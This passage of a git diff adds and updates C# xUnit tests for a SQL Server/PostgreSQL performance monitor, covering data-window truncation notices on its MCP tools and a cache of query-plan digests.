+        Assert.Contains("AnalysisStatementText.Preview(reader.GetString(15), StatementTextCap)", source, StringComparison.Ordinal);
+        Assert.Contains("AnalysisStatementText.Preview(reader.GetString(6), StatementTextCap)", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("AddWithValue(StatementTextCap)", source, StringComparison.Ordinal);
         Assert.Contains("long.TryParse(key.AsSpan(PgTargetFactKeys.BadActorKeyPrefix.Length)", source, StringComparison.Ordinal);
         Assert.Contains("finding.DrillDown![\"pg_bad_actor_statements\"]", source, StringComparison.Ordinal);
         /* queryid as a STRING in the JSON, as get_pg_top_queries returns it. */
diff --git a/Darling/Darling.Tests/PgWaitInstrumentDisclosureTests.cs b/Darling/Darling.Tests/PgWaitInstrumentDisclosureTests.cs
index 0432038a26..7e59fefee9 100644
--- a/Darling/Darling.Tests/PgWaitInstrumentDisclosureTests.cs
+++ b/Darling/Darling.Tests/PgWaitInstrumentDisclosureTests.cs
@@ -87,6 +87,20 @@ public void NoRecordedInstrument_OrAnUnknownToken_ReadsAsUnknown()
         Assert.Contains("profile_period_ms", foreign.GetProperty("instrument_note").GetString(), StringComparison.Ordinal);
     }
 
+    [Fact]
+    public void TheEmptyArm_OnACutWindow_StandsAloneWithoutThePhraseOfTheDroppedClaim()
+    {
+        var state = new DarlingPgWaitSamplingReader.WaitInstrumentState(PgWaitInstrument.ServiceSampled, T0);
+        var cut = DarlingMcpPgWaitSamplingTools.DescribeInstrumentForEmpty(state, windowTruncated: true);
+        var covered = DarlingMcpPgWaitSamplingTools.DescribeInstrumentForEmpty(state, windowTruncated: false);
+
+        Assert.DoesNotContain("none to sample", cut, StringComparison.Ordinal);
+        Assert.Contains("one-second polls in a 30-second window each cycle", cut, StringComparison.Ordinal);
+        Assert.Contains(PgWaitInstrument.ServiceSampledCaveat, cut, StringComparison.Ordinal);
+        Assert.Contains("\"none to sample\" was measured", covered, StringComparison.Ordinal);
+        Assert.Equal(covered, DarlingMcpPgWaitSamplingTools.DescribeInstrumentForEmpty(state));
+    }
+
     [Fact]
     public void TheEmptyArm_StatesTheFloorOnlyOnTheServiceTier()
     {
diff --git a/Darling/Darling.Tests/PgWriteStatsAndIndexUsageWindowNoticeTests.cs b/Darling/Darling.Tests/PgWriteStatsAndIndexUsageWindowNoticeTests.cs
new file mode 100644
index 0000000000..999239eff0
--- /dev/null
+++ b/Darling/Darling.Tests/PgWriteStatsAndIndexUsageWindowNoticeTests.cs
@@ -0,0 +1,236 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4966: where the data starts, on <c>get_pg_write_stats</c> and <c>get_pg_index_usage</c>. Write stats answers ONE row whose
+/// figures are first-to-last differences, so its start is the row's own first sample and no probe is needed on a data answer.
+/// Index usage reads per-index differences off a daily collector, so its start comes from coverage. The two newest-per-key reads
+/// (<c>get_pg_index_bloat</c>, <c>get_pg_column_stats</c>) carry no notice, and a test pins that.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class PgWriteStatsAndIndexUsageWindowNoticeTests
+{
+    private const string WriteTable = "pg_write_stats";
+    private const string UsageTable = "pg_index_usage_stats";
+    private static readonly string[] WriteTables = [WriteTable];
+    private static readonly string[] UsageTables = [UsageTable];
+
+    private static string Name(string scenario) => "darling-mcp-pgnotice-" + scenario;
+
+    private static Task RunAsync(string table, string[] tables, string scenario, Func<NpgsqlConnection, NpgsqlDataSource, DateTime, Task> body) =>
+        WindowFloorLiveHarness.RunAsync(Environment.GetEnvironmentVariable("DARLING_TEST_PG"), [table], [Name(scenario)], tables, body);
+
+    private static Task<string> WriteAsync(NpgsqlDataSource ds, string scenario, int hours, DateTime end) =>
+        DarlingMcpPgServerStateTools.GetPgWriteStats(ds, Name(scenario), hours, WebDataStartNote.FormatWindowEnd(end));
+
+    private static Task<string> UsageAsync(NpgsqlDataSource ds, string scenario, int hours, DateTime end) =>
+        DarlingMcpPgIndexUsageTools.GetPgIndexUsage(ds, Name(scenario), hours, as_of: WebDataStartNote.FormatWindowEnd(end));
+
+    private static Task SeedWriteSamplesAsync(NpgsqlConnection c, string scenario, DateTime first, int minutes) =>
+        DarlingMcpTestData.ExecAsync(c, TestContext.Current.CancellationToken,
+            @"INSERT INTO pg_write_stats (collection_id, collection_time, server_id, server_name, num_timed, num_requested, num_done, wal_bytes)
+SELECT $1 + n, $2::timestamp + n * interval '1 minute', $3, $4, n, 0, n, n * 1048576
+FROM generate_series(0, $5) AS n",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(first), ServerIdHelper.GetDeterministicHashCode(Name(scenario)), Name(scenario), minutes);
+
+    private static Task SeedUsageSampleAsync(NpgsqlConnection c, string scenario, DateTime at, long scans) =>
+        DarlingMcpTestData.ExecAsync(c, TestContext.Current.CancellationToken,
+            @"INSERT INTO pg_index_usage_stats
+    (collection_id, collection_time, server_id, server_name, database_name, schema_name, table_name, index_name, index_scans,
+     tuples_read, tuples_fetched, blocks_read, blocks_hit, index_bytes, table_bytes, is_unique, is_primary_key, is_valid, is_ready,
+     is_replica_identity, is_partial, is_expression, supports_constraint, index_method, column_count, index_definition)
+VALUES ($1,$2,$3,$4,'db1','public','t1','ix_t1',$5, 0,0,0,0, 10485760, 20971520, false,false,true,true, false,false,false,false, 'btree', 1, 'CREATE INDEX ix_t1 ON t1 (a)')",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(at), ServerIdHelper.GetDeterministicHashCode(Name(scenario)), Name(scenario), scans);
+
+    private static Task MarkSqlServerAsync(NpgsqlConnection c, string scenario) =>
+        DarlingMcpTestData.ExecAsync(c, TestContext.Current.CancellationToken,
+            "UPDATE servers SET engine_kind = $2 WHERE server_id = $1", ServerIdHelper.GetDeterministicHashCode(Name(scenario)), MonitoredEngineKind.SqlServer);
+
+    [Theory]
+    [InlineData("wlate", 120, true)]
+    [InlineData("wsoon", 30, false)]
+    public async Task WriteStats_DerivesTheKeysFromItsOwnSpan_WithNoProbe_AgainstDevPostgres(string scenario, int firstSampleAfterStartMinutes, bool truncated) =>
+        await RunAsync(WriteTable, WriteTables, scenario, async (c, ds, end) =>
+        {
+            var start = end.AddHours(-24);
+            var first = start.AddMinutes(firstSampleAfterStartMinutes);
+            await WindowFloorLiveHarness.SeedServerAsync(c, Name(scenario), end.AddDays(-30), WriteTable, null, 1, end, WriteTables, TestContext.Current.CancellationToken);
+            await SeedWriteSamplesAsync(c, scenario, first, 60);
+
+            var probes = 0;
+            DarlingMcpWindowNotice.TestOnlyProbe = () => { probes++; throw new TimeoutException("a data answer must not probe"); };
+            var root = WindowFloorLiveHarness.Parse(await WriteAsync(ds, scenario, 24, end));
+
+            Assert.Equal(0, probes);
+            Assert.Equal(truncated, root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(first), root.GetProperty("effective_start").GetString());
+            Assert.EndsWith("Z", root.GetProperty("effective_start").GetString(), StringComparison.Ordinal);
+            if (truncated)
+            {
+                Assert.Contains("effective_start to window_end", root.GetProperty("truncation_note").GetString(), StringComparison.Ordinal);
+            }
+            else
+            {
+                Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+            }
+
+            var names = root.EnumerateObject().Select(p => p.Name).ToList();
+            Assert.Equal(["effective_start", "window_truncated", "truncation_note"], names.Skip(names.IndexOf("hours_back") + 1).Take(3));
+        });
+
+    [Fact]
+    public async Task WriteStats_AGapAcrossTheWindowStart_IsTruncated_WithTheFirstSampleAfterTheGap_AgainstDevPostgres() =>
+        await RunAsync(WriteTable, WriteTables, "wgap", async (c, ds, end) =>
+        {
+            var start = end.AddHours(-24);
+            var afterGap = start.AddHours(3);
+            await WindowFloorLiveHarness.SeedServerAsync(c, Name("wgap"), end.AddDays(-30), WriteTable, null, 1, end, WriteTables, TestContext.Current.CancellationToken);
+            await SeedWriteSamplesAsync(c, "wgap", start.AddHours(-4), 60);
+            await SeedWriteSamplesAsync(c, "wgap", afterGap, 60);
+
+            var root = WindowFloorLiveHarness.Parse(await WriteAsync(ds, "wgap", 24, end));
+
+            Assert.True(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(afterGap), root.GetProperty("effective_start").GetString());
+        });
+
+    [Fact]
+    public async Task WriteStats_EmptyAnswer_CarriesTheKeysUnderHints_AndNotCollectedStaysBare_AgainstDevPostgres()
+    {
+        await RunAsync(WriteTable, WriteTables, "wempty", async (c, ds, end) =>
+        {
+            var added = end.AddDays(-1);
+            await WindowFloorLiveHarness.SeedServerAsync(c, Name("wempty"), added, WriteTable, added, 1, end, WriteTables, TestContext.Current.CancellationToken);
+
+            var root = WindowFloorLiveHarness.Parse(await WriteAsync(ds, "wempty", 168, end));
+
+            Assert.Equal("empty", root.GetProperty("status").GetString());
+            var hints = root.GetProperty("hints");
+            Assert.True(hints.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(added), hints.GetProperty("effective_start").GetString());
+            Assert.False(root.TryGetProperty("window_truncated", out _));
+        });
+
+        await RunAsync(WriteTable, WriteTables, "wbare", async (c, ds, end) =>
+        {
+            await WindowFloorLiveHarness.SeedServerAsync(c, Name("wbare"), end.AddDays(-1), WriteTable, null, 1, end, WriteTables, TestContext.Current.CancellationToken);
+            await MarkSqlServerAsync(c, "wbare");
+
+            var root = WindowFloorLiveHarness.Parse(await WriteAsync(ds, "wbare", 168, end));
+
+            Assert.Equal("not_collected", root.GetProperty("status").GetString());
+            Assert.False(root.TryGetProperty("hints", out _));
+        });
+    }
+
+    [Fact]
+    public async Task IndexUsage_ADailyCollectorWithAShortHistory_IsTruncatedOn168Hours_AgainstDevPostgres() =>
+        await RunAsync(UsageTable, UsageTables, "ushort", async (c, ds, end) =>
+        {
+            var floor = end.AddDays(-2);
+            await WindowFloorLiveHarness.SeedServerAsync(c, Name("ushort"), floor, UsageTable, floor, 1440, end, UsageTables, TestContext.Current.CancellationToken);
+            await SeedUsageSampleAsync(c, "ushort", end.AddDays(-2), 10);
+            await SeedUsageSampleAsync(c, "ushort", end.AddDays(-1), 12);
+
+            var root = WindowFloorLiveHarness.Parse(await UsageAsync(ds, "ushort", 168, end));
+
+            Assert.Equal(1, root.GetProperty("indexes_returned").GetInt32());
+            Assert.True(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(floor), root.GetProperty("effective_start").GetString());
+            var note = root.GetProperty("truncation_note").GetString();
+            Assert.Contains("scans_in_window", note, StringComparison.Ordinal);
+            Assert.Contains("undercounts", note, StringComparison.Ordinal);
+            var names = root.EnumerateObject().Select(p => p.Name).ToList();
+            Assert.Equal(["effective_start", "window_truncated", "truncation_note"], names.Skip(names.IndexOf("hours_back") + 1).Take(3));
+        });
+
+    [Fact]
+    public async Task IndexUsage_AFailedProbe_CostsTheKeysNotTheRows_AgainstDevPostgres() =>
+        await RunAsync(UsageTable, UsageTables, "uprobe", async (c, ds, end) =>
+        {
+            await WindowFloorLiveHarness.SeedServerAsync(c, Name("uprobe"), end.AddDays(-30), UsageTable, end.AddDays(-30), 1440, end, UsageTables, TestContext.Current.CancellationToken);
+            await SeedUsageSampleAsync(c, "uprobe", end.AddDays(-2), 10);
+            await SeedUsageSampleAsync(c, "uprobe", end.AddDays(-1), 12);
+            DarlingMcpWindowNotice.TestOnlyProbe = () => throw new TimeoutException("the probe's deadline passed");
+
+            var root = WindowFloorLiveHarness.Parse(await UsageAsync(ds, "uprobe", 168, end));
+
+            Assert.Equal(1, root.GetProperty("indexes_returned").GetInt32());
+            Assert.False(root.TryGetProperty("effective_start", out _));
+            Assert.False(root.TryGetProperty("window_truncated", out _));
+            Assert.False(root.TryGetProperty("truncation_note", out _));
+        });
+
+    [Fact]
+    public async Task IndexUsage_NothingToRead_CarriesTheKeysUnderHints_AndNotCollectedStaysBare_AgainstDevPostgres()
+    {
+        await RunAsync(UsageTable, UsageTables, "uempty", async (c, ds, end) =>
+        {
+            var added = end.AddDays(-1);
+            await WindowFloorLiveHarness.SeedServerAsync(c, Name("uempty"), added, UsageTable, added, 1440, end, UsageTables, TestContext.Current.CancellationToken);
+
+            var root = WindowFloorLiveHarness.Parse(await UsageAsync(ds, "uempty", 168, end));
+
+            Assert.Equal("unavailable", root.GetProperty("status").GetString());
+            var hints = root.GetProperty("hints");
+            Assert.True(hints.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(added), hints.GetProperty("effective_start").GetString());
+            Assert.Equal(0, hints.GetProperty("snapshots_in_window").GetInt32());
+            Assert.False(root.TryGetProperty("window_truncated", out _));
+        });
+
+        await RunAsync(UsageTable, UsageTables, "ubare", async (c, ds, end) =>
+        {
+            await WindowFloorLiveHarness.SeedServerAsync(c, Name("ubare"), end.AddDays(-1), UsageTable, null, 1440, end, UsageTables, TestContext.Current.CancellationToken);
+            await MarkSqlServerAsync(c, "ubare");
+
+            var root = WindowFloorLiveHarness.Parse(await UsageAsync(ds, "ubare", 168, end));
+
+            Assert.Equal("not_collected", root.GetProperty("status").GetString());
+            Assert.False(root.TryGetProperty("hints", out _));
+        });
+    }
+
+    /// <summary>The two newest-per-key reads answer a verdict of their own coverage, so neither carries the window notice (#4966).
+    /// Read from the source text, so it holds without a database.</summary>
+    [Theory]
+    [InlineData("get_pg_index_bloat")]
+    [InlineData("get_pg_column_stats")]
+    public void TheNewestPerKeyReads_EmitNoWindowNotice(string tool)
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpPgIndexTools.cs");
+        var signature = tool switch
+        {
+            "get_pg_index_bloat" => "public static async Task<string> GetPgIndexBloat(",
+            _ => "public static async Task<string> GetPgColumnStats(",
+        };
+        var at = source.IndexOf(signature, StringComparison.Ordinal);
+        Assert.True(at > 0, tool + " is not in DarlingMcpPgIndexTools.cs");
+        /* The body runs from the method declaration to the next tool's attribute (or the end of the file). */
+        var nextAttribute = source.IndexOf("[McpServerTool(", at + signature.Length, StringComparison.Ordinal);
+        var body = source[at..(nextAttribute < 0 ? source.Length : nextAttribute)];
+
+        Assert.DoesNotContain("window_truncated", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("effective_start", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("DarlingMcpWindowNotice", body, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/PickerToggleDeferredRefreshSourceTests.cs b/Darling/Darling.Tests/PickerToggleDeferredRefreshSourceTests.cs
index 8113d50b0a..8852a7b9d0 100644
--- a/Darling/Darling.Tests/PickerToggleDeferredRefreshSourceTests.cs
+++ b/Darling/Darling.Tests/PickerToggleDeferredRefreshSourceTests.cs
@@ -18,6 +18,7 @@ namespace Darling.Tests;
 /// is still walking the visual tree, and WPF throws "Cannot modify the Visual children for this node
 /// because a tree walk is in progress". The handlers must only ask a coalescer for a deferred refresh.
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class PickerToggleDeferredRefreshSourceTests
 {
     private const string Viewer = "Darling/PerformanceMonitor.Darling.Viewer";
diff --git a/Darling/Darling.Tests/PlanCorrectionFrameLiveTests.cs b/Darling/Darling.Tests/PlanCorrectionFrameLiveTests.cs
index d043292b60..9e99a0bc67 100644
--- a/Darling/Darling.Tests/PlanCorrectionFrameLiveTests.cs
+++ b/Darling/Darling.Tests/PlanCorrectionFrameLiveTests.cs
@@ -115,7 +115,7 @@ with either read. */
             /* ── arm A: already UTC. The stored value equals collection_time and must come back equal to
                   it. An offset applied here ADDS four hours, because the offset is negative. ── */
             var recommendations = await DarlingPlanCorrectionReader.GetPlanCorrectionsAsync(
-                postgres, ServerId, collectionTime.AddHours(-1), collectionTime.AddHours(1), cap: 50, ct);
+                postgres, ServerId, collectionTime.AddHours(-1), collectionTime.AddHours(1), cap: 50, cancellationToken: ct);
 
             var recommendation = Assert.Single(recommendations);
             Assert.Equal(collectionTime, recommendation.CollectionTime);
diff --git a/Darling/Darling.Tests/PlanCorrectionsWebDefaultTests.cs b/Darling/Darling.Tests/PlanCorrectionsWebDefaultTests.cs
index 1b9f851eac..cfc9c2762c 100644
--- a/Darling/Darling.Tests/PlanCorrectionsWebDefaultTests.cs
+++ b/Darling/Darling.Tests/PlanCorrectionsWebDefaultTests.cs
@@ -39,8 +39,8 @@ public void GetPlanCorrections_WebRowKeepsTheFullQueryTextByDefault()
             web.Split('\n'),
             l => l.Contains("DarlingMcpPlanCorrectionTools.GetPlanCorrections(", StringComparison.Ordinal));
 
-        Assert.Contains("full_text: QueryBool(c, \"full_text\", true)", dispatchLine, StringComparison.Ordinal);
-        Assert.DoesNotContain("full_text: QueryBool(c, \"full_text\", false)", dispatchLine, StringComparison.Ordinal);
+        Assert.Contains("QueryBool(c, \"full_text\", true)", dispatchLine, StringComparison.Ordinal);
+        Assert.DoesNotContain("QueryBool(c, \"full_text\", false)", dispatchLine, StringComparison.Ordinal);
         Assert.Contains("PBool(\"full_text\", true)", web, StringComparison.Ordinal);
     }
 
diff --git a/Darling/Darling.Tests/PlanDigestCacheTests.cs b/Darling/Darling.Tests/PlanDigestCacheTests.cs
new file mode 100644
index 0000000000..2ce361eac6
--- /dev/null
+++ b/Darling/Darling.Tests/PlanDigestCacheTests.cs
@@ -0,0 +1,295 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5158: the host's memory of the statement plans it has already committed. These pin the cache's lifecycle
+/// (a plan is a hit only after a commit), the <c>query_stats</c> identity (a recompile of the same handle misses),
+/// the over-cap pairing, the case-insensitive eviction of the digests the store reports absent, the one-hour
+/// prune, the knob, and the split of an oversized fetch.
+/// </summary>
+public sealed class PlanDigestCacheTests
+{
+    private static readonly DateTime Now = new(2031, 5, 1, 12, 0, 0, DateTimeKind.Utc);
+    private static readonly DateTime Created = new(2031, 5, 1, 9, 0, 0, DateTimeKind.Unspecified);
+
+    private static QueryStatsPlanKey Key(
+        byte handle = 0x0A, int start = 0, int end = -1, DateTime? created = null, long generation = 1, string? db = "app")
+        => new(7, db, new byte[] { 0x06, 0x00, handle }, start, end, created ?? Created, generation);
+
+    [Fact]
+    public void ThePlanKeyComparesItsHandleByValue()
+    {
+        var cache = new PlanDigestCache<QueryStatsPlanKey>();
+        cache.AddPending(Key(), "AB", 10, Now);
+        cache.ConfirmPending(new[] { Key() }, Now);
+
+        /* A distinct byte[] with the same bytes: a reference compare would miss here, every run. */
+        Assert.True(cache.TryGet(Key(), Now, out var hit));
+        Assert.Equal("AB", hit.Digest);
+    }
+
+    [Theory]
+    [InlineData("created")]
+    [InlineData("generation")]
+    [InlineData("handle")]
+    [InlineData("start")]
+    [InlineData("end")]
+    [InlineData("database")]
+    public void AnyChangeToThePlanIdentityMisses(string changed)
+    {
+        var cache = new PlanDigestCache<QueryStatsPlanKey>();
+        cache.AddPending(Key(), "AB", 10, Now);
+        cache.ConfirmPending(new[] { Key() }, Now);
+
+        var other = changed switch
+        {
+            "created" => Key(created: Created.AddMinutes(5)),
+            "generation" => Key(generation: 2),
+            "handle" => Key(handle: 0x0B),
+            "start" => Key(start: 4),
+            "end" => Key(end: 90),
+            _ => Key(db: "other"),
+        };
+
+        /* creation_time and plan_generation_num: a statement-level recompile keeps plan_handle and the offsets. */
+        Assert.False(cache.TryGet(other, Now, out _));
+    }
+
+    [Fact]
+    public void APendingEntryIsNotAHitUntilConfirmed()
+    {
+        var cache = new PlanDigestCache<QueryStatsPlanKey>();
+        cache.AddPending(Key(), "AB", 10, Now);
+
+        Assert.False(cache.TryGet(Key(), Now, out _));
+
+        cache.ConfirmPending(new[] { Key() }, Now);
+        Assert.True(cache.TryGet(Key(), Now, out _));
+    }
+
+    [Fact]
+    public void ADiscardedPendingEntryNeverBecomesAHit_AndAConfirmedOneIsKept()
+    {
+        var cache = new PlanDigestCache<QueryStatsPlanKey>();
+        cache.AddPending(Key(handle: 1), "AA", 1, Now);
+        cache.AddPending(Key(handle: 2), "BB", 2, Now);
+        cache.ConfirmPending(new[] { Key(handle: 2) }, Now);
+
+        cache.DiscardPending(new[] { Key(handle: 1), Key(handle: 2) });
+        cache.ConfirmPending(new[] { Key(handle: 1) }, Now);
+
+        Assert.False(cache.TryGet(Key(handle: 1), Now, out _));
+        Assert.True(cache.TryGet(Key(handle: 2), Now, out _));
+    }
+
+    [Fact]
+    public void AnOverCapEntryCarriesItsBytesWithANullDigest()
+    {
+        var cache = new PlanDigestCache<QueryStatsPlanKey>();
+        cache.AddPending(Key(), null, 900_000, Now);
+        cache.ConfirmPending(new[] { Key() }, Now);
+
+        Assert.True(cache.TryGet(Key(), Now, out var hit));
+        Assert.Null(hit.Digest);
+        Assert.Equal(900_000, hit.Bytes);
+    }
+
+    [Fact]
+    public void EvictingAbsentDigestsIgnoresCase()
+    {
+        var cache = new PlanDigestCache<QueryStatsPlanKey>();
+        cache.AddPending(Key(handle: 1), "abcdef0123", 1, Now);
+        cache.AddPending(Key(handle: 2), "FFEE", 2, Now);
+        cache.ConfirmPending(new[] { Key(handle: 1), Key(handle: 2) }, Now);
+
+        /* PayloadDimensionWriter.FlushAsync reports upper-case hex. */
+        Assert.Equal(1, cache.Evict(new[] { "ABCDEF0123" }));
+
+        Assert.False(cache.TryGet(Key(handle: 1), Now, out _));
+        Assert.True(cache.TryGet(Key(handle: 2), Now, out _));
+    }
+
+    [Fact]
+    public void PruneForgetsOnlyIdentitiesUnseenForAnHour()
+    {
+        var cache = new PlanDigestCache<QueryStatsPlanKey>();
+        cache.AddPending(Key(handle: 1), "AA", 1, Now.AddMinutes(-90));
+        cache.AddPending(Key(handle: 2), "BB", 2, Now.AddMinutes(-90));
+        cache.ConfirmPending(new[] { Key(handle: 1), Key(handle: 2) }, Now.AddMinutes(-90));
+
+        /* Seeing an identity refreshes it. */
+        Assert.True(cache.TryGet(Key(handle: 2), Now.AddMinutes(-10), out _));
+
+        Assert.Equal(1, cache.Prune(Now - TimeSpan.FromHours(1)));
+        Assert.False(cache.TryGet(Key(handle: 1), Now, out _));
+        Assert.True(cache.TryGet(Key(handle: 2), Now, out _));
+        Assert.Equal(TimeSpan.FromHours(1), DarlingCollectorRunner.QueryStatsPlanCacheMaxAge);
+    }
+
+    [Fact]
+    public void ARowKeyNeedsAUsablePlanHandle()
+    {
+        var row = new QueryStatsCollector.Row { PlanHandle = "0x06000500AB", DatabaseName = "app", CreationTime = Created, PlanGenerationNum = 3, StatementEndOffset = -1 };
+        var key = QueryStatsPlanKey.TryCreate(1, row);
+        Assert.NotNull(key);
+        Assert.Equal(new byte[] { 0x06, 0x00, 0x05, 0x00, 0xAB }, key!.Value.PlanHandle);
+
+        Assert.Null(QueryStatsPlanKey.TryCreate(1, new QueryStatsCollector.Row { PlanHandle = null }));
+        Assert.Null(QueryStatsPlanKey.TryCreate(1, new QueryStatsCollector.Row { PlanHandle = "0x" }));
+        Assert.Null(QueryStatsPlanKey.TryCreate(1, new QueryStatsCollector.Row { PlanHandle = "0xZZ" }));
+    }
+
+    [Fact]
+    public void TheFetchIsSplitAboveTheKeyBound()
+    {
+        var context = new CollectorContext
+        {
+            ServerId = 1, ServerName = "s", CollectionTime = Now, Deltas = new NoDeltas(),
+            Target = new CollectorTargetInfo(), CapturePlanXml = true, DeferPlanXmlFetch = true,
+        };
+
+        QueryStatsCollector.PlanFetchKey[] KeysOf(int n) =>
+            Enumerable.Range(0, n).Select(i => new QueryStatsCollector.PlanFetchKey(new byte[] { 0x06, (byte)(i % 250) }, i, -1)).ToArray();
+
+        Assert.Equal(1000, QueryStatsCollector.MaxPlanFetchKeys);
+        Assert.NotEmpty(QueryStatsCollector.BuildPlanFetchQuery(context, KeysOf(1000)).Text);
+        Assert.Throws<InvalidOperationException>(() => QueryStatsCollector.BuildPlanFetchQuery(context, KeysOf(1001)));
+    }
+
+    [Theory]
+    [InlineData(true, true, false, true)]
+    [InlineData(false, true, false, false)]   // knob off: today's inline capture
+    [InlineData(true, false, false, false)]   // capture off
+    [InlineData(true, true, true, false)]     // Azure SQL DB reads per database, no second query
+    public void OnlyQueryStatsDefers_AndOnlyWithTheKnobOnAndPlansCaptured(bool knob, bool capture, bool azure, bool expected)
+    {
+        var runner = (DarlingCollectorRunner)System.Runtime.CompilerServices.RuntimeHelpers.GetUninitializedObject(typeof(DarlingCollectorRunner));
+        typeof(DarlingCollectorRunner)
+            .GetField("_queryStatsDeferredPlanFetch", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance)!
+            .SetValue(runner, (Func<bool>)(() => knob));
+        /* procedure_stats reads its own knob and the plan switch; both off here, so it never defers. */
+        typeof(DarlingCollectorRunner)
+            .GetField("_capturePlans", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance)!
+            .SetValue(runner, (Func<bool>)(() => capture));
+        typeof(DarlingCollectorRunner)
+            .GetField("_procedureStatsDeferredPlanFetch", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance)!
+            .SetValue(runner, (Func<string?>)(() => "off"));
+
+        var target = new CollectorTargetInfo { IsAzureSqlDb = azure };
+        Assert.Equal(expected, runner.ShouldDeferPlanFetchFor("query_stats", capture, target));
+        Assert.False(runner.ShouldDeferPlanFetchFor("procedure_stats", capture, target));
+        Assert.False(runner.ShouldDeferPlanFetchFor("query_store", capture, target));
+    }
+
+    [Fact]
+    public void WithTheKnobOffTheMainQueryIsTodaysInlineCaptureSql()
+    {
+        CollectorContext Make(bool defer) => new()
+        {
+            ServerId = 1, ServerName = "s", CollectionTime = Now, Deltas = new NoDeltas(),
+            Target = new CollectorTargetInfo(), CapturePlanXml = true, DeferPlanXmlFetch = defer,
+        };
+
+        var inline = QueryStatsCollector.Instance.BuildQuery(Make(defer: false)).Text;
+        Assert.Contains("dm_exec_text_query_plan", inline, StringComparison.Ordinal);
+        Assert.Contains("query_plan_xml_bytes", inline, StringComparison.Ordinal);
+
+        /* The byte-for-byte text is pinned by QueryStatsSqlGoldenTests; the runner's knob-off path sets no
+           DeferPlanXmlFetch, so it builds exactly this. */
+        var deferred = QueryStatsCollector.Instance.BuildQuery(Make(defer: true)).Text;
+        Assert.DoesNotContain("dm_exec_text_query_plan", deferred, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheRunnerConfirmsOnlyAfterTheCommitAndDiscardsOnFailure()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingCollectorRunner.cs")
+            .ReplaceLineEndings("\n");
+
+        var write = source.IndexOf("rowsWritten = await WriteBatchAsync(pgConnection, definition, rows, server, collectionTime, context, cancellationToken);", StringComparison.Ordinal);
+        var committedSet = source.IndexOf("committed = true;", write, StringComparison.Ordinal);
+        var confirm = source.IndexOf("planCache.ConfirmPending(", StringComparison.Ordinal);
+        var discard = source.IndexOf("planCache.DiscardPending(", StringComparison.Ordinal);
+
+        Assert.True(write > 0 && committedSet > write, "the commit flag is set only after WriteBatchAsync returns");
+        Assert.True(confirm > committedSet, "ConfirmPending runs after the commit");
+        Assert.True(discard > confirm, "DiscardPending covers the failed write");
+        /* One confirm per collector's cache: query_stats' and procedure_stats', each after the same commit flag. */
+        Assert.Equal(2, Count(source, "ConfirmPending("));
+        var procedureConfirm = source.IndexOf("procedurePlanCache.ConfirmPending(", StringComparison.Ordinal);
+        var procedureDiscard = source.IndexOf("procedurePlanCache.DiscardPending(", StringComparison.Ordinal);
+        Assert.True(procedureConfirm > committedSet, "procedure_stats confirms only after the commit");
+        Assert.True(procedureDiscard > procedureConfirm, "and discards when the write failed");
+    }
+
+    [Fact]
+    public void TheFetchStamps_AreTheSourceOfTheMeasurements()
+    {
+        var context = new CollectorContext { ServerId = 1, ServerName = "s", CollectionTime = DateTime.UtcNow, Deltas = new NoDeltas() };
+
+        /* A run with misses: the context carries the values and the note's measurements read them. */
+        DarlingCollectorRunner.StampPlanFetch(context, 3, 1234, 17);
+        Assert.Equal(3, context.PerItemPlanRenderedRows);
+        Assert.Equal(1234, context.PerItemPlanRenderedBytes);
+        Assert.Equal(17, context.PerItemPlanFetchMs);
+        Assert.Equal(3, context.Measurements.Single(m => m.Label == "plans_rendered").Value);
+        Assert.Equal(1234, context.Measurements.Single(m => m.Label == "plans_rendered_bytes").Value);
+        Assert.Equal(17, context.Measurements.Single(m => m.Label == "plan_fetch_ms").Value);
+
+        /* A run with no misses ran no fetch: the stamps and the measurements are 0, never absent. */
+        var quiet = new CollectorContext { ServerId = 1, ServerName = "s", CollectionTime = DateTime.UtcNow, Deltas = new NoDeltas() };
+        DarlingCollectorRunner.StampPlanFetch(quiet, 0, 0, 0);
+        Assert.Equal(0, quiet.PerItemPlanFetchMs);
+        Assert.Equal(0, quiet.Measurements.Single(m => m.Label == "plan_fetch_ms").Value);
+        Assert.Equal(0, quiet.Measurements.Single(m => m.Label == "plans_rendered").Value);
+    }
+
+    [Fact]
